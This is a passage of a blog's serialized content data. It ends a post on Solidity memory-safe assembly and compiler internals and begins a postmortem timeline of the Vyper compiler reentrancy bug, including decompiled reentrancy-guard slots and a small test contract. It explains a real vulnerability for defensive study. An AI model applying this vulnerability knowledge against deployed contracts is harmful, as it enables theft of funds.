}\n",[31117],{"type":25,"tag":115,"props":31118,"children":31119},{"__ignoreMap":7},[31120,31128,31136,31143,31179,31186,31194,31202,31210,31218,31226,31239,31252,31260],{"type":25,"tag":201,"props":31121,"children":31122},{"class":203,"line":204},[31123],{"type":25,"tag":201,"props":31124,"children":31125},{"style":4497},[31126],{"type":31,"value":31127},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":25,"tag":201,"props":31129,"children":31130},{"class":203,"line":226},[31131],{"type":25,"tag":201,"props":31132,"children":31133},{"style":4497},[31134],{"type":31,"value":31135},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":25,"tag":201,"props":31137,"children":31138},{"class":203,"line":278},[31139],{"type":25,"tag":201,"props":31140,"children":31141},{"emptyLinePlaceholder":17},[31142],{"type":31,"value":496},{"type":25,"tag":201,"props":31144,"children":31145},{"class":203,"line":311},[31146,31151,31156,31161,31165,31170,31175],{"type":25,"tag":201,"props":31147,"children":31148},{"style":4925},[31149],{"type":31,"value":31150},"string",{"type":25,"tag":201,"props":31152,"children":31153},{"style":220},[31154],{"type":31,"value":31155}," IRGenerator::",{"type":25,"tag":201,"props":31157,"children":31158},{"style":214},[31159],{"type":31,"value":31160},"memoryInit",{"type":25,"tag":201,"props":31162,"children":31163},{"style":220},[31164],{"type":31,"value":298},{"type":25,"tag":201,"props":31166,"children":31167},{"style":208},[31168],{"type":31,"value":31169},"bool",{"type":25,"tag":201,"props":31171,"children":31172},{"style":246},[31173],{"type":31,"value":31174}," _useMemoryGuard",{"type":25,"tag":201,"props":31176,"children":31177},{"style":220},[31178],{"type":31,"value":4666},{"type":25,"tag":201,"props":31180,"children":31181},{"class":203,"line":330},[31182],{"type":25,"tag":201,"props":31183,"children":31184},{"style":220},[31185],{"type":31,"value":1822},{"type":25,"tag":201,"props":31187,"children":31188},{"class":203,"line":397},[31189],{"type":25,"tag":201,"props":31190,"children":31191},{"style":4497},[31192],{"type":31,"value":31193}," // This function should be called at the beginning of the EVM call frame\n",{"type":25,"tag":201,"props":31195,"children":31196},{"class":203,"line":437},[31197],{"type":25,"tag":201,"props":31198,"children":31199},{"style":4497},[31200],{"type":31,"value":31201}," // and thus can assume all memory to be zero, including the contents of\n",{"type":25,"tag":201,"props":31203,"children":31204},{"class":203,"line":464},[31205],{"type":25,"tag":201,"props":31206,"children":31207},{"style":4497},[31208],{"type":31,"value":31209}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":25,"tag":201,"props":31211,"children":31212},{"class":203,"line":490},[31213],{"type":25,"tag":201,"props":31214,"children":31215},{"style":230},[31216],{"type":31,"value":31217}," return\n",{"type":25,"tag":201,"props":31219,"children":31220},{"class":203,"line":499},[31221],{"type":25,"tag":201,"props":31222,"children":31223},{"style":220},[31224],{"type":31,"value":31225},"  Whiskers{\n",{"type":25,"tag":201,"props":31227,"children":31228},{"class":203,"line":522},[31229,31234],{"type":25,"tag":201,"props":31230,"children":31231},{"style":220},[31232],{"type":31,"value":31233},"   _useMemoryGuard ",{"type":25,"tag":201,"props":31235,"children":31236},{"style":261},[31237],{"type":31,"value":31238},"?\n",{"type":25,"tag":201,"props":31240,"children":31241},{"class":203,"line":531},[31242,31247],{"type":25,"tag":201,"props":31243,"children":31244},{"style":267},[31245],{"type":31,"value":31246},"   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":25,"tag":201,"props":31248,"children":31249},{"style":261},[31250],{"type":31,"value":31251}," :\n",{"type":25,"tag":201,"props":31253,"children":31254},{"class":203,"line":550},[31255],{"type":25,"tag":201,"props":31256,"children":31257},{"style":267},[31258],{"type":31,"value":31259},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":25,"tag":201,"props":31261,"children":31262},{"class":203,"line":563},[31263],{"type":25,"tag":201,"props":31264,"children":31265},{"style":220},[31266],{"type":31,"value":1178},{"type":25,"tag":34,"props":31268,"children":31269},{},[31270,31275,31277,31283],{"type":25,"tag":115,"props":31271,"children":31273},{"className":31272},[],[31274],{"type":31,"value":30862},{"type":31,"value":31276}," will now no longer have ",{"type":25,"tag":115,"props":31278,"children":31280},{"className":31279},[],[31281],{"type":31,"value":31282},"memoryguard(0x80)",{"type":31,"value":31284}," as expected.",{"type":25,"tag":191,"props":31286,"children":31288},{"className":5980,"code":31287,"language":5979,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    mstore(64, 128)\n",[31289],{"type":25,"tag":115,"props":31290,"children":31291},{"__ignoreMap":7},[31292,31307],{"type":25,"tag":201,"props":31293,"children":31294},{"class":203,"line":204},[31295,31299,31303],{"type":25,"tag":201,"props":31296,"children":31297},{"style":4497},[31298],{"type":31,"value":30879},{"type":25,"tag":201,"props":31300,"children":31301},{"style":208},[31302],{"type":31,"value":30884},{"type":25,"tag":201,"props":31304,"children":31305},{"style":4497},[31306],{"type":31,"value":30889},{"type":25,"tag":201,"props":31308,"children":31309},{"class":203,"line":226},[31310,31315,31319,31323,31327,31332],{"type":25,"tag":201,"props":31311,"children":31312},{"style":214},[31313],{"type":31,"value":31314},"    mstore",{"type":25,"tag":201,"props":31316,"children":31317},{"style":220},[31318],{"type":31,"value":298},{"type":25,"tag":201,"props":31320,"children":31321},{"style":426},[31322],{"type":31,"value":30906},{"type":25,"tag":201,"props":31324,"children":31325},{"style":220},[31326],{"type":31,"value":919},{"type":25,"tag":201,"props":31328,"children":31329},{"style":426},[31330],{"type":31,"value":31331},"128",{"type":25,"tag":201,"props":31333,"children":31334},{"style":220},[31335],{"type":31,"value":4666},{"type":25,"tag":34,"props":31337,"children":31338},{},[31339,31341,31346,31348,31353],{"type":31,"value":31340},"Semantically, the absence of ",{"type":25,"tag":115,"props":31342,"children":31344},{"className":31343},[],[31345],{"type":31,"value":30854},{"type":31,"value":31347}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":25,"tag":115,"props":31349,"children":31351},{"className":31350},[],[31352],{"type":31,"value":30854},{"type":31,"value":31354}," invariant.",{"type":25,"tag":4439,"props":31356,"children":31357},{},[31358],{"type":25,"tag":34,"props":31359,"children":31360},{},[31361,31362,31367,31368,31373,31374,31379],{"type":31,"value":30948},{"type":25,"tag":115,"props":31363,"children":31365},{"className":31364},[],[31366],{"type":31,"value":30954},{"type":31,"value":30956},{"type":25,"tag":115,"props":31369,"children":31371},{"className":31370},[],[31372],{"type":31,"value":30962},{"type":31,"value":30964},{"type":25,"tag":115,"props":31375,"children":31377},{"className":31376},[],[31378],{"type":31,"value":15451},{"type":31,"value":80},{"type":25,"tag":34,"props":31381,"children":31382},{},[31383],{"type":31,"value":31384},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":25,"tag":26,"props":31386,"children":31388},{"id":31387},"undefined-behavior",[31389],{"type":31,"value":31390},"Undefined Behavior",{"type":25,"tag":34,"props":31392,"children":31393},{},[31394,31396,31401,31403,31408,31410,31416],{"type":31,"value":31395},"How strict is memory safety? When it comes to ",{"type":25,"tag":115,"props":31397,"children":31399},{"className":31398},[],[31400],{"type":31,"value":30854},{"type":31,"value":31402},", only touching memory after 0x80 seems to matter. Is ",{"type":25,"tag":115,"props":31404,"children":31406},{"className":31405},[],[31407],{"type":31,"value":30512},{"type":31,"value":31409}," annotated assembly that touches memory at ",{"type":25,"tag":115,"props":31411,"children":31413},{"className":31412},[],[31414],{"type":31,"value":31415},"[0x40, 0x7f]",{"type":31,"value":31417}," really safe?",{"type":25,"tag":34,"props":31419,"children":31420},{},[31421,31422,31429,31431,31436],{"type":31,"value":18109},{"type":25,"tag":71,"props":31423,"children":31426},{"href":31424,"rel":31425},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[75],[31427],{"type":31,"value":31428},"Solidity documentation",{"type":31,"value":31430}," mentions ",{"type":25,"tag":65,"props":31432,"children":31433},{},[31434],{"type":31,"value":31435},"undefined behavior",{"type":31,"value":31437}," three times.",{"type":25,"tag":6944,"props":31439,"children":31440},{},[31441,31446,31461],{"type":25,"tag":6948,"props":31442,"children":31443},{},[31444],{"type":31,"value":31445},"The existence of a dangling reference",{"type":25,"tag":6948,"props":31447,"children":31448},{},[31449,31451],{"type":31,"value":31450},"Using verbatim improperly",{"type":25,"tag":16970,"props":31452,"children":31453},{},[31454],{"type":25,"tag":71,"props":31455,"children":31459},{"href":31456,"ariaDescribedBy":31457,"dataFootnoteRef":7,"id":31458},"#user-content-fn-2",[16977],"user-content-fnref-2",[31460],{"type":31,"value":4629},{"type":25,"tag":6948,"props":31462,"children":31463},{},[31464],{"type":31,"value":31465},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":25,"tag":34,"props":31467,"children":31468},{},[31469],{"type":31,"value":31470},"Why does this matter?",{"type":25,"tag":34,"props":31472,"children":31473},{},[31474,31476,31483,31485,31492],{"type":31,"value":31475},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":25,"tag":71,"props":31477,"children":31480},{"href":31478,"rel":31479},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[75],[31481],{"type":31,"value":31482},"signed integer overflow is undefined",{"type":31,"value":31484},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":25,"tag":71,"props":31486,"children":31489},{"href":31487,"rel":31488},"https://blog.regehr.org/archives/1307",[75],[31490],{"type":31,"value":31491},"years down the line",{"type":31,"value":80},{"type":25,"tag":34,"props":31494,"children":31495},{},[31496,31498,31505,31506,31511],{"type":31,"value":31497},"Going back to Solidity, the specification makes ",{"type":25,"tag":71,"props":31499,"children":31502},{"href":31500,"rel":31501},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[75],[31503],{"type":31,"value":31504},"it unambiguously clear",{"type":31,"value":20030},{"type":25,"tag":65,"props":31507,"children":31508},{},[31509],{"type":31,"value":31510},"Thou shalt not modify the zero slot",{"type":31,"value":80},{"type":25,"tag":4439,"props":31513,"children":31514},{},[31515],{"type":25,"tag":34,"props":31516,"children":31517},{},[31518],{"type":31,"value":31519},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":25,"tag":34,"props":31521,"children":31522},{},[31523,31525,31530],{"type":31,"value":31524},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":25,"tag":65,"props":31526,"children":31527},{},[31528],{"type":31,"value":31529},"in Solidity",{"type":31,"value":80},{"type":25,"tag":34,"props":31532,"children":31533},{},[31534],{"type":31,"value":31535},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":25,"tag":6944,"props":31537,"children":31538},{},[31539],{"type":25,"tag":6948,"props":31540,"children":31541},{},[31542,31544,31551],{"type":31,"value":31543},"It very clearly ",{"type":25,"tag":71,"props":31545,"children":31548},{"href":31546,"rel":31547},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[75],[31549],{"type":31,"value":31550},"holds true today",{"type":31,"value":80},{"type":25,"tag":191,"props":31553,"children":31555},{"className":30593,"code":31554,"language":30595,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[31556],{"type":25,"tag":115,"props":31557,"children":31558},{"__ignoreMap":7},[31559,31599,31606,31619,31691,31712,31763,31770],{"type":25,"tag":201,"props":31560,"children":31561},{"class":203,"line":204},[31562,31566,31571,31576,31580,31585,31590,31595],{"type":25,"tag":201,"props":31563,"children":31564},{"style":208},[31565],{"type":31,"value":31169},{"type":25,"tag":201,"props":31567,"children":31568},{"style":220},[31569],{"type":31,"value":31570}," IRGeneratorForStatements::",{"type":25,"tag":201,"props":31572,"children":31573},{"style":214},[31574],{"type":31,"value":31575},"visit",{"type":25,"tag":201,"props":31577,"children":31578},{"style":220},[31579],{"type":31,"value":298},{"type":25,"tag":201,"props":31581,"children":31582},{"style":4925},[31583],{"type":31,"value":31584},"InlineAssembly",{"type":25,"tag":201,"props":31586,"children":31587},{"style":208},[31588],{"type":31,"value":31589}," const&",{"type":25,"tag":201,"props":31591,"children":31592},{"style":246},[31593],{"type":31,"value":31594}," _inlineAsm",{"type":25,"tag":201,"props":31596,"children":31597},{"style":220},[31598],{"type":31,"value":4666},{"type":25,"tag":201,"props":31600,"children":31601},{"class":203,"line":226},[31602],{"type":25,"tag":201,"props":31603,"children":31604},{"style":220},[31605],{"type":31,"value":1822},{"type":25,"tag":201,"props":31607,"children":31608},{"class":203,"line":278},[31609,31614],{"type":25,"tag":201,"props":31610,"children":31611},{"style":214},[31612],{"type":31,"value":31613},"    setLocation",{"type":25,"tag":201,"props":31615,"children":31616},{"style":220},[31617],{"type":31,"value":31618},"(_inlineAsm);\n",{"type":25,"tag":201,"props":31620,"children":31621},{"class":203,"line":311},[31622,31626,31630,31634,31639,31643,31648,31653,31658,31662,31666,31670,31674,31678,31682,31687],{"type":25,"tag":201,"props":31623,"children":31624},{"style":230},[31625],{"type":31,"value":13781},{"type":25,"tag":201,"props":31627,"children":31628},{"style":220},[31629],{"type":31,"value":238},{"type":25,"tag":201,"props":31631,"children":31632},{"style":261},[31633],{"type":31,"value":6077},{"type":25,"tag":201,"props":31635,"children":31636},{"style":246},[31637],{"type":31,"value":31638},"_inlineAsm",{"type":25,"tag":201,"props":31640,"children":31641},{"style":220},[31642],{"type":31,"value":80},{"type":25,"tag":201,"props":31644,"children":31645},{"style":214},[31646],{"type":31,"value":31647},"annotation",{"type":25,"tag":201,"props":31649,"children":31650},{"style":220},[31651],{"type":31,"value":31652},"().",{"type":25,"tag":201,"props":31654,"children":31655},{"style":246},[31656],{"type":31,"value":31657},"hasMemoryEffects",{"type":25,"tag":201,"props":31659,"children":31660},{"style":261},[31661],{"type":31,"value":15687},{"type":25,"tag":201,"props":31663,"children":31664},{"style":261},[31665],{"type":31,"value":14366},{"type":25,"tag":201,"props":31667,"children":31668},{"style":246},[31669],{"type":31,"value":31638},{"type":25,"tag":201,"props":31671,"children":31672},{"style":220},[31673],{"type":31,"value":80},{"type":25,"tag":201,"props":31675,"children":31676},{"style":214},[31677],{"type":31,"value":31647},{"type":25,"tag":201,"props":31679,"children":31680},{"style":220},[31681],{"type":31,"value":31652},{"type":25,"tag":201,"props":31683,"children":31684},{"style":246},[31685],{"type":31,"value":31686},"markedMemorySafe",{"type":25,"tag":201,"props":31688,"children":31689},{"style":220},[31690],{"type":31,"value":4666},{"type":25,"tag":201,"props":31692,"children":31693},{"class":203,"line":330},[31694,31699,31703,31708],{"type":25,"tag":201,"props":31695,"children":31696},{"style":246},[31697],{"type":31,"value":31698},"        m_context",{"type":25,"tag":201,"props":31700,"children":31701},{"style":220},[31702],{"type":31,"value":80},{"type":25,"tag":201,"props":31704,"children":31705},{"style":214},[31706],{"type":31,"value":31707},"setMemoryUnsafeInlineAssemblySeen",{"type":25,"tag":201,"props":31709,"children":31710},{"style":220},[31711],{"type":31,"value":1985},{"type":25,"tag":201,"props":31713,"children":31714},{"class":203,"line":397},[31715,31720,31724,31728,31733,31738,31742,31746,31750,31754,31759],{"type":25,"tag":201,"props":31716,"children":31717},{"style":220},[31718],{"type":31,"value":31719},"    CopyTranslate bodyCopier{",{"type":25,"tag":201,"props":31721,"children":31722},{"style":246},[31723],{"type":31,"value":31638},{"type":25,"tag":201,"props":31725,"children":31726},{"style":220},[31727],{"type":31,"value":80},{"type":25,"tag":201,"props":31729,"children":31730},{"style":214},[31731],{"type":31,"value":31732},"dialect",{"type":25,"tag":201,"props":31734,"children":31735},{"style":220},[31736],{"type":31,"value":31737},"(), m_context, ",{"type":25,"tag":201,"props":31739,"children":31740},{"style":246},[31741],{"type":31,"value":31638},{"type":25,"tag":201,"props":31743,"children":31744},{"style":220},[31745],{"type":31,"value":80},{"type":25,"tag":201,"props":31747,"children":31748},{"style":214},[31749],{"type":31,"value":31647},{"type":25,"tag":201,"props":31751,"children":31752},{"style":220},[31753],{"type":31,"value":31652},{"type":25,"tag":201,"props":31755,"children":31756},{"style":246},[31757],{"type":31,"value":31758},"externalReferences",{"type":25,"tag":201,"props":31760,"children":31761},{"style":220},[31762],{"type":31,"value":18073},{"type":25,"tag":201,"props":31764,"children":31765},{"class":203,"line":437},[31766],{"type":25,"tag":201,"props":31767,"children":31768},{"emptyLinePlaceholder":17},[31769],{"type":31,"value":496},{"type":25,"tag":201,"props":31771,"children":31772},{"class":203,"line":464},[31773,31778,31782,31787,31791,31795,31799,31804],{"type":25,"tag":201,"props":31774,"children":31775},{"style":220},[31776],{"type":31,"value":31777},"    yul::Statement modified ",{"type":25,"tag":201,"props":31779,"children":31780},{"style":261},[31781],{"type":31,"value":1383},{"type":25,"tag":201,"props":31783,"children":31784},{"style":214},[31785],{"type":31,"value":31786}," bodyCopier",{"type":25,"tag":201,"props":31788,"children":31789},{"style":220},[31790],{"type":31,"value":298},{"type":25,"tag":201,"props":31792,"children":31793},{"style":246},[31794],{"type":31,"value":31638},{"type":25,"tag":201,"props":31796,"children":31797},{"style":220},[31798],{"type":31,"value":80},{"type":25,"tag":201,"props":31800,"children":31801},{"style":214},[31802],{"type":31,"value":31803},"operations",{"type":25,"tag":201,"props":31805,"children":31806},{"style":220},[31807],{"type":31,"value":31808},"());`\n",{"type":25,"tag":6944,"props":31810,"children":31811},{"start":226},[31812],{"type":25,"tag":6948,"props":31813,"children":31814},{},[31815],{"type":31,"value":31816},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":25,"tag":34,"props":31818,"children":31819},{},[31820],{"type":31,"value":31821},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":25,"tag":26,"props":31823,"children":31824},{"id":6817},[31825],{"type":31,"value":6820},{"type":25,"tag":34,"props":31827,"children":31828},{},[31829],{"type":31,"value":31830},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":25,"tag":34,"props":31832,"children":31833},{},[31834],{"type":31,"value":31835},"It's a promise between YUL generation and optimization.",{"type":25,"tag":19920,"props":31837,"children":31839},{"className":31838,"dataFootnotes":7},[19923],[31840,31845],{"type":25,"tag":26,"props":31841,"children":31843},{"className":31842,"id":16977},[19928],[31844],{"type":31,"value":19931},{"type":25,"tag":6944,"props":31846,"children":31847},{},[31848,31882],{"type":25,"tag":6948,"props":31849,"children":31851},{"id":31850},"user-content-fn-1",[31852,31854,31859,31861,31867,31869,31874,31876],{"type":31,"value":31853},"As an interesting aside, ",{"type":25,"tag":115,"props":31855,"children":31857},{"className":31856},[],[31858],{"type":31,"value":30854},{"type":31,"value":31860}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":25,"tag":115,"props":31862,"children":31864},{"className":31863},[],[31865],{"type":31,"value":31866},"memory-unsafe",{"type":31,"value":31868}," code can ",{"type":25,"tag":65,"props":31870,"children":31871},{},[31872],{"type":31,"value":31873},"decrease",{"type":31,"value":31875}," gas consumption, especially in the YUL header. ",{"type":25,"tag":71,"props":31877,"children":31880},{"href":31878,"ariaLabel":20034,"className":31879,"dataFootnoteBackref":7},"#user-content-fnref-1",[20036],[31881],{"type":31,"value":20039},{"type":25,"tag":6948,"props":31883,"children":31885},{"id":31884},"user-content-fn-2",[31886,31888,31893,31895],{"type":31,"value":31887},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":25,"tag":65,"props":31889,"children":31890},{},[31891],{"type":31,"value":31892},"guarantee",{"type":31,"value":31894}," behavior with opaque bytes. ",{"type":25,"tag":71,"props":31896,"children":31899},{"href":31897,"ariaLabel":20054,"className":31898,"dataFootnoteBackref":7},"#user-content-fnref-2",[20036],[31900],{"type":31,"value":20039},{"type":25,"tag":4349,"props":31902,"children":31903},{},[31904],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":31906},[31907,31908,31909,31910,31911,31912,31913],{"id":28,"depth":226,"text":32},{"id":30552,"depth":226,"text":30555},{"id":30816,"depth":226,"text":30819},{"id":30547,"depth":226,"text":31040},{"id":31387,"depth":226,"text":31390},{"id":6817,"depth":226,"text":6820},{"id":16977,"depth":226,"text":19931},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":31918,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":31919,"description":31920,"author":7229,"image":31921,"date":31923,"isFeatured":17,"onBlogPage":17,"tags":31924,"body":31926,"_type":4371,"_id":32677,"_source":4373,"_file":32678,"_stem":32679,"_extension":4376},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":31922,"height":15,"width":15},"/posts/vyper-timeline/header.jpg","2023-08-01",[31925,30495],"vyper",{"type":22,"children":31927,"toc":32668},[31928,31933,31938,31943,31949,31954,31972,31982,31987,31995,32005,32024,32104,32114,32274,32279,32284,32294,32301,32306,32311,32325,32330,32347,32364,32383,32393,32406,32411,32424,32429,32434,32444,32471,32481,32511,32517,32526,32532,32537,32542,32547,32553,32558,32572,32577,32582,32587,32593,32598,32611,32637,32642,32664],{"type":25,"tag":34,"props":31929,"children":31930},{},[31931],{"type":31,"value":31932},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":25,"tag":34,"props":31934,"children":31935},{},[31936],{"type":31,"value":31937},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":25,"tag":34,"props":31939,"children":31940},{},[31941],{"type":31,"value":31942},"Here's how it all happened.",{"type":25,"tag":26,"props":31944,"children":31946},{"id":31945},"timeline",[31947],{"type":31,"value":31948},"Timeline",{"type":25,"tag":34,"props":31950,"children":31951},{},[31952],{"type":31,"value":31953},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":25,"tag":34,"props":31955,"children":31956},{},[31957,31962,31964,31971],{"type":25,"tag":1252,"props":31958,"children":31959},{},[31960],{"type":31,"value":31961},"13:10 UTC",{"type":31,"value":31963}," pETH/ETH was ",{"type":25,"tag":71,"props":31965,"children":31968},{"href":31966,"rel":31967},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[75],[31969],{"type":31,"value":31970},"drained of $11M",{"type":31,"value":80},{"type":25,"tag":34,"props":31973,"children":31974},{},[31975,31980],{"type":25,"tag":1252,"props":31976,"children":31977},{},[31978],{"type":31,"value":31979},"13:19 UTC",{"type":31,"value":31981}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":25,"tag":34,"props":31983,"children":31984},{},[31985],{"type":31,"value":31986},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":25,"tag":4439,"props":31988,"children":31989},{},[31990],{"type":25,"tag":34,"props":31991,"children":31992},{},[31993],{"type":31,"value":31994},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":25,"tag":34,"props":31996,"children":31997},{},[31998,32003],{"type":25,"tag":1252,"props":31999,"children":32000},{},[32001],{"type":31,"value":32002},"14:01 UTC",{"type":31,"value":32004}," A warroom was formed around this comment.",{"type":25,"tag":34,"props":32006,"children":32007},{},[32008,32013,32015,32022],{"type":25,"tag":1252,"props":32009,"children":32010},{},[32011],{"type":31,"value":32012},"14:07 UTC",{"type":31,"value":32014}," We decompiled the JPEGd contract ",{"type":25,"tag":71,"props":32016,"children":32019},{"href":32017,"rel":32018},"https://ethervm.io/decompile",[75],[32020],{"type":31,"value":32021},"with our favorite decompiler",{"type":31,"value":32023}," and noted a difference in reentrancy guard storage slot.",{"type":25,"tag":191,"props":32025,"children":32029},{"className":32026,"code":32027,"language":32028,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[32030],{"type":25,"tag":115,"props":32031,"children":32032},{"__ignoreMap":7},[32033,32041,32049,32057,32065,32072,32080,32088,32096],{"type":25,"tag":201,"props":32034,"children":32035},{"class":203,"line":204},[32036],{"type":25,"tag":201,"props":32037,"children":32038},{},[32039],{"type":31,"value":32040},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":25,"tag":201,"props":32042,"children":32043},{"class":203,"line":226},[32044],{"type":25,"tag":201,"props":32045,"children":32046},{},[32047],{"type":31,"value":32048},"label_0057:\n",{"type":25,"tag":201,"props":32050,"children":32051},{"class":203,"line":278},[32052],{"type":25,"tag":201,"props":32053,"children":32054},{},[32055],{"type":31,"value":32056},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":25,"tag":201,"props":32058,"children":32059},{"class":203,"line":311},[32060],{"type":25,"tag":201,"props":32061,"children":32062},{},[32063],{"type":31,"value":32064},"    storage[0x00] = 0x01;\n",{"type":25,"tag":201,"props":32066,"children":32067},{"class":203,"line":330},[32068],{"type":25,"tag":201,"props":32069,"children":32070},{"emptyLinePlaceholder":17},[32071],{"type":31,"value":496},{"type":25,"tag":201,"props":32073,"children":32074},{"class":203,"line":397},[32075],{"type":25,"tag":201,"props":32076,"children":32077},{},[32078],{"type":31,"value":32079},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":25,"tag":201,"props":32081,"children":32082},{"class":203,"line":437},[32083],{"type":25,"tag":201,"props":32084,"children":32085},{},[32086],{"type":31,"value":32087},"label_1AF3:\n",{"type":25,"tag":201,"props":32089,"children":32090},{"class":203,"line":464},[32091],{"type":25,"tag":201,"props":32092,"children":32093},{},[32094],{"type":31,"value":32095},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":25,"tag":201,"props":32097,"children":32098},{"class":203,"line":490},[32099],{"type":25,"tag":201,"props":32100,"children":32101},{},[32102],{"type":31,"value":32103},"    storage[0x02] = 0x01;\n",{"type":25,"tag":34,"props":32105,"children":32106},{},[32107,32112],{"type":25,"tag":1252,"props":32108,"children":32109},{},[32110],{"type":31,"value":32111},"14:27 UTC",{"type":31,"value":32113}," We confirmed this behavior with a simple local test contract.",{"type":25,"tag":191,"props":32115,"children":32117},{"className":20960,"code":32116,"language":20959,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n",[32118],{"type":25,"tag":115,"props":32119,"children":32120},{"__ignoreMap":7},[32121,32129,32150,32185,32197,32204,32211,32230,32262],{"type":25,"tag":201,"props":32122,"children":32123},{"class":203,"line":204},[32124],{"type":25,"tag":201,"props":32125,"children":32126},{"style":214},[32127],{"type":31,"value":32128},"@external\n",{"type":25,"tag":201,"props":32130,"children":32131},{"class":203,"line":226},[32132,32137,32141,32146],{"type":25,"tag":201,"props":32133,"children":32134},{"style":214},[32135],{"type":31,"value":32136},"@nonreentrant",{"type":25,"tag":201,"props":32138,"children":32139},{"style":220},[32140],{"type":31,"value":298},{"type":25,"tag":201,"props":32142,"children":32143},{"style":267},[32144],{"type":31,"value":32145},"\"lock\"",{"type":25,"tag":201,"props":32147,"children":32148},{"style":220},[32149],{"type":31,"value":4666},{"type":25,"tag":201,"props":32151,"children":32152},{"class":203,"line":278},[32153,32158,32163,32167,32172,32177,32181],{"type":25,"tag":201,"props":32154,"children":32155},{"style":208},[32156],{"type":31,"value":32157},"def",{"type":25,"tag":201,"props":32159,"children":32160},{"style":214},[32161],{"type":31,"value":32162}," test",{"type":25,"tag":201,"props":32164,"children":32165},{"style":220},[32166],{"type":31,"value":298},{"type":25,"tag":201,"props":32168,"children":32169},{"style":246},[32170],{"type":31,"value":32171},"addr",{"type":25,"tag":201,"props":32173,"children":32174},{"style":220},[32175],{"type":31,"value":32176},": address) -> ",{"type":25,"tag":201,"props":32178,"children":32179},{"style":4925},[32180],{"type":31,"value":31169},{"type":25,"tag":201,"props":32182,"children":32183},{"style":220},[32184],{"type":31,"value":7077},{"type":25,"tag":201,"props":32186,"children":32187},{"class":203,"line":311},[32188,32192],{"type":25,"tag":201,"props":32189,"children":32190},{"style":230},[32191],{"type":31,"value":18486},{"type":25,"tag":201,"props":32193,"children":32194},{"style":208},[32195],{"type":31,"value":32196}," 